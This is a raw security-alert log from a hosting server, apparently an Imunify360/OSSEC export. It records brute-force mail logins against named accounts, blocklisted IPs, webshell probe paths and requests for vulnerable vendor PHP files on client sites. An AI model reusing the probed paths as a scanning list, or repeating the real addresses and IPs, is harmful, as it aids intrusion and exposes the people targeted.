abuser: 179.0.250.32
country_id: 3865483
description:
Jan 13 01:05:54 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.0.250.32 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.142.146.167
country_id: 1835841
description:
Jan 13 01:06:53 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.142.146.167 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.142.146.167
country_id: 1835841
description:
2026-01-13 01:06:55 dovecot_login authenticator failed for H=([121.142.146.167]) [121.142.146.167]:40112: 535 Incorrect authentication data (set_id=rosliza@stonewld.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.0.250.32
country_id: 3865483
description:
Jan 13 01:06:10 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.0.250.32 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.135.215.218
country_id: 3439705
domain: plomalite.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/plomalite.com/products-services/generator-set-rental-malaysia.html HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.56.26.29
country_id: 1814991
description:
Jan 13 01:11:34 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.56.26.29 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.56.26.29
country_id: 1814991
description:
2026-01-13 01:11:36 dovecot_login authenticator failed for H=([127.0.0.1]) [121.56.26.29]:39840: 535 Incorrect authentication data (set_id=premalata@mckd.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 119.46.176.222
country_id: 1605651
description:
Jan 13 01:11:47 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 119.46.176.222 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.46.176.222
country_id: 1605651
description:
2026-01-13 01:11:49 dovecot_login authenticator failed for H=119-46-176-222.static.asianet.co.th ([127.0.0.1]) [119.46.176.222]:42561: 535 Incorrect authentication data (set_id=premalata)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 36.135.62.103
country_id: 1814991
description:
Jan 13 01:13:48 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 36.135.62.103 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 36.135.62.103
country_id: 1814991
description:
2026-01-13 01:13:50 dovecot_login authenticator failed for H=([36.135.62.103]) [36.135.62.103]:33138: 535 Incorrect authentication data (set_id=ahmad.asif@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.4.156.254
country_id: 1814991
description:
2026-01-13 01:14:04 dovecot_login authenticator failed for H=mail.toptronicsinc.com [218.4.156.254]:47646: 535 Incorrect authentication data (set_id=bptioh@mckd.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.216.214.135
country_id: 933860
description:
Jan 13 01:18:10 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.216.214.135 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.7.187
country_id: 690791
description:
Jan 13 01:18:25 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.7.187 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 37.203.210.153
country_id: 3017382
domain: tst-ma.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:01-19.37.203.210.153||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 160.30.191.93
country_id: 1562822
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:01-19.160.30.191.93||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 13 01:20:29 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 183.98.212.74
country_id: 1835841
description:
Jan 13 01:23:12 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 183.98.212.74 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.98.212.74
country_id: 1835841
description:
2026-01-13 01:23:14 dovecot_login authenticator failed for H=([183.98.212.74]) [183.98.212.74]:43256: 535 Incorrect authentication data (set_id=accounting@acburn.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 154.127.44.3
country_id: 2395170
description:
Jan 13 01:24:21 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 154.127.44.3 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.206
country_id: 3175395
description:
Jan 13 01:24:26 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.206 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 13 01:25:02 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 01:27:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:58535: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 01:27:09 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:58535: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.104.127.219
country_id: 1269750
description:
Jan 13 01:31:55 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.104.127.219 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.18.166.44
country_id: 1269750
description:
Jan 13 01:32:06 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.18.166.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.104.127.219
country_id: 1269750
description:
Jan 13 01:32:08 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.104.127.219 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.18.166.44
country_id: 1269750
description:
Jan 13 01:32:13 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.18.166.44 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.150.65
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/index.php/images/contact.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.237.166.198
country_id: 3469034
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-category.php?id=8&sub=11 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 115.96.217.93
country_id: 1269750
domain: garudabay.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:98095.garudabay.com||ServerName:garudabay.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:7c661bdf19f09ec46d67c4390bea05096a36aa3c||Title:0x7ce304c7||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.0.252.222
country_id: 3865483
description:
Jan 13 01:38:35 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.0.252.222 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.192.127.28
country_id: 3469034
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-detail.php?id=145994 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.209.109.36
country_id: 3469034
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-category.php?page_id=21 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.180.195.31
country_id: 3469034
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/Mrs./631/166961 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.0.40.130
country_id: 226074
description:
Jan 13 01:41:38 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.0.40.130 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.179.173
country_id: 3175395
description:
Jan 13 01:41:58 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.179.173 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.179.173
country_id: 3175395
description:
Jan 13 01:42:11 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.179.173 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.4.48
country_id: 690791
description:
Jan 13 01:42:11 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.4.48 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 52.175.55.60
country_id: 1819730
domain: advisorygroup.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/wp-admin/images/admin.php||SC:/home2/advi3535/public_html/wp-admin||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 103.100.234.62
country_id: 1210997
description:
2026-01-13 01:45:56 H=([103.100.234.62]) [103.100.234.62]:46423 F=<inf@pftfood.com> rejected RCPT <inf@pftfood.com>: smtp auth required


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 103.100.234.62
country_id: 1210997
description:
2026-01-13 01:46:37 H=([103.100.234.62]) [103.100.234.62]:46815 F=<inf@pftfood.com> rejected RCPT <inf@pftfood.com>: smtp auth required


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 103.100.234.62
country_id: 1210997
description:
2026-01-13 01:47:17 H=([103.100.234.62]) [103.100.234.62]:46829 F=<inf@pftfood.com> rejected RCPT <inf@pftfood.com>: smtp auth required


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.49.163.100
country_id: 1835841
description:
Jan 13 01:47:38 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.49.163.100 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.49.163.100
country_id: 1835841
description:
2026-01-13 01:47:40 dovecot_login authenticator failed for H=([14.49.163.100]) [14.49.163.100]:53991: 535 Incorrect authentication data (set_id=bptioh@mckd.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 115.190.199.148
country_id: 1814991
description:
Jan 13 01:49:28 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 115.190.199.148 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.190.199.148
country_id: 1814991
description:
2026-01-13 01:49:30 dovecot_login authenticator failed for H=([127.0.0.1]) [115.190.199.148]:34248: 535 Incorrect authentication data (set_id=suriyah@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 01:55:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:58556: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.41.77.130
country_id: 357994
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/symfony/finder/Iterator/FilenameFilterIterator.php HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 01:55:14 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:58557: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 204.144.187.196
country_id: 6252001
description:
Jan 13 01:56:17 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 204.144.187.196 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 204.144.187.196
country_id: 6252001
description:
2026-01-13 01:56:19 dovecot_login authenticator failed for H=([127.0.0.1]) [204.144.187.196]:40768: 535 Incorrect authentication data (set_id=rina@essemgroup.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.19.119.252
country_id: 798544
description:
Jan 13 01:58:50 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.19.119.252 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.145.116
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/portfolio/img/img/img/demos/new-development.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.236.187.213
country_id: 3895114
domain: fasterget.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fasterget.com.my/cgi-bin HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 200.95.220.131
country_id: 3469034
domain: fasterget.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fasterget.com.my/cgi-bin/ HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 185.199.119.29
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:02-07.185.199.119.29||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 58.49.113.138
country_id: 1814991
description:
Jan 13 02:08:42 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 58.49.113.138 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 58.240.2.38
country_id: 1814991
description:
Jan 13 02:09:35 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 58.240.2.38 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 4.189.120.245
country_id: 1861060
domain: dps-comsec.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/wp-admin/images/admin.php||SC:/home2/dpscomsec/public_html/wp-admin||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 168.91.37.41
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:02-10.168.91.37.41||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77140740
name: IM360 WAF: Twenty shell abuse attempt
abuser: 4.189.120.245
country_id: 1861060
domain: dps-comsec.com
description:
IM360 WAF: Twenty shell abuse attempt||MVN:REQUEST_HEADERS:Referer||WPU:||RSV:7.62||T:APACHE||MV:https://www.google.com/||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-13 02:10:38 H=([45.144.212.242]) [45.144.212.242]:52156 F=<no_reply@admin.com> rejected RCPT <enquiry@smartcable.com.my>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.239.181.182
country_id: 1835841
description:
2026-01-13 02:12:06 dovecot_login authenticator failed for H=([211.239.181.182]) [211.239.181.182]:58700: 535 Incorrect authentication data


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.143.92.177
country_id: 2510769
description:
Jan 13 02:15:02 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.143.92.177 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.23.140.54
country_id: 1269750
description:
2026-01-13 02:15:32 dovecot_login authenticator failed for H=([125.21.194.121]) [125.23.140.54]:47616: 535 Incorrect authentication data (set_id=serene.chin@manforce.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.143.92.177
country_id: 2510769
description:
Jan 13 02:15:09 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.143.92.177 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.23.140.54
country_id: 1269750
description:
Jan 13 02:15:30 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.23.140.54 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 180.94.76.126
country_id: 1149361
description:
Jan 13 02:16:25 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 180.94.76.126 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.94.76.126
country_id: 1149361
description:
2026-01-13 02:16:27 dovecot_login authenticator failed for H=([180.94.76.126]) [180.94.76.126]:40074: 535 Incorrect authentication data (set_id=serene.chin@manforce.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.202.4
country_id: 99237
description:
Jan 13 02:16:38 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.202.4 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.202.4
country_id: 99237
description:
2026-01-13 02:16:40 dovecot_login authenticator failed for H=([65.20.202.4]) [65.20.202.4]:35517: 535 Incorrect authentication data (set_id=william.goh@manforce.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 220.189.239.206
country_id: 1814991
description:
Jan 13 02:16:46 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 220.189.239.206 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.239.181.182
country_id: 1835841
description:
Jan 13 02:20:00 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.239.181.182 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 191.101.250.15
country_id: 2750405
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:02-20.191.101.250.15||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 183.247.171.186
country_id: 1814991
description:
Jan 13 02:19:36 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 183.247.171.186 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.247.171.186
country_id: 1814991
description:
2026-01-13 02:19:38 dovecot_login authenticator failed for H=([183.247.171.186]) [183.247.171.186]:42558: 535 Incorrect authentication data (set_id=sales@acburn.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 202.72.193.34
country_id: 1643084
description:
Jan 13 02:20:15 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 202.72.193.34 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.72.193.34
country_id: 1643084
description:
2026-01-13 02:20:17 dovecot_login authenticator failed for H=([202.72.193.34]) [202.72.193.34]:60359: 535 Incorrect authentication data (set_id=general@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 02:23:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:58584: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 182.188.75.31
country_id: 1168579
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/ride/182/514185 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 02:23:14 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:58585: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.216.88.76
country_id: 3469034
description:
Jan 13 02:25:25 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.216.88.76 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 200.237.85.160
country_id: 3469034
description:
Jan 13 02:26:00 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 200.237.85.160 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.73.169.161
country_id: 2186224
description:
Jan 13 02:26:02 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.73.169.161 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.73.169.161
country_id: 2186224
description:
2026-01-13 02:26:04 dovecot_login authenticator failed for H=([121.73.169.161]) [121.73.169.161]:34074: 535 Incorrect authentication data (set_id=william.goh@manforce.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 200.237.85.160
country_id: 3469034
description:
Jan 13 02:26:09 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 200.237.85.160 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 5.11.143.72
country_id: 298795
description:
Jan 13 02:26:19 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 5.11.143.72 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.11.143.72
country_id: 298795
description:
2026-01-13 02:26:21 dovecot_plain authenticator failed for H=(stayforser) [5.11.143.72]:33338: 535 Incorrect authentication data (set_id=kimting.yap@tujusetia.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.129.199
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/wp-content/themes/clean-commerce/third-party/images/rpl.php||SC:/home/sutsbcom/public_html/wp-content/themes/clean-commerce||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.162.58
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/services/transportation-radioactive-materials/images/sliders/cdn-cgi/l/sitemap.php||SC:/home/sutsbcom/public_html/services||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.54.85.220
country_id: 294640
description:
2026-01-13 02:30:32 dovecot_plain authenticator failed for H=(hypess) [2.54.85.220]:33670: 535 Incorrect authentication data (set_id=irene.wong@tujusetia.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 2.54.85.220
country_id: 294640
description:
Jan 13 02:30:30 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 2.54.85.220 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 196.188.181.230
country_id: 337996
description:
2026-01-13 02:33:10 H=([196.188.181.230]) [196.188.181.230]:30616 F=<admin@tradingview.com> rejected RCPT <shihui@pftfood.com>: SPF: 196.188.181.230 is not allowed to send mail from tradingview.com


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 102.254.128.30
country_id: 953987
description:
2026-01-13 02:35:04 H=([102.254.128.30]) [102.254.128.30]:35396 F=<shihui@pftfood.com> rejected RCPT <shihui@pftfood.com>: smtp auth required


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 196.188.181.230
country_id: 337996
description:
2026-01-13 02:35:42 H=([196.188.181.230]) [196.188.181.230]:29952 F=<admin@tradingview.com> rejected RCPT <shihui@pftfood.com>: SPF: 196.188.181.230 is not allowed to send mail from tradingview.com


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 102.254.128.30
country_id: 953987
description:
2026-01-13 02:35:53 H=([102.254.128.30]) [102.254.128.30]:9571 F=<shihui@pftfood.com> rejected RCPT <shihui@pftfood.com>: smtp auth required


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 169.224.1.114
country_id: 99237
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/phpoffice/phpexcel/Examples/25inmemoryimage.php HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 102.254.128.30
country_id: 953987
description:
2026-01-13 02:36:34 H=([102.254.128.30]) [102.254.128.30]:35398 F=<shihui@pftfood.com> rejected RCPT <shihui@pftfood.com>: smtp auth required


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 102.254.128.30
country_id: 953987
description:
2026-01-13 02:37:15 H=([102.254.128.30]) [102.254.128.30]:35410 F=<shihui@pftfood.com> rejected RCPT <shihui@pftfood.com>: smtp auth required


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 196.188.181.230
country_id: 337996
description:
2026-01-13 02:37:41 H=([196.188.181.230]) [196.188.181.230]:30078 F=<admin@tradingview.com> rejected RCPT <shihui@pftfood.com>: SPF: 196.188.181.230 is not allowed to send mail from tradingview.com


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 23.234.102.86
country_id: 6252001
description:
Jan 13 02:37:57 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 23.234.102.86 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.149.43
country_id: 1880251
domain: mail.fkr.com.my
description:
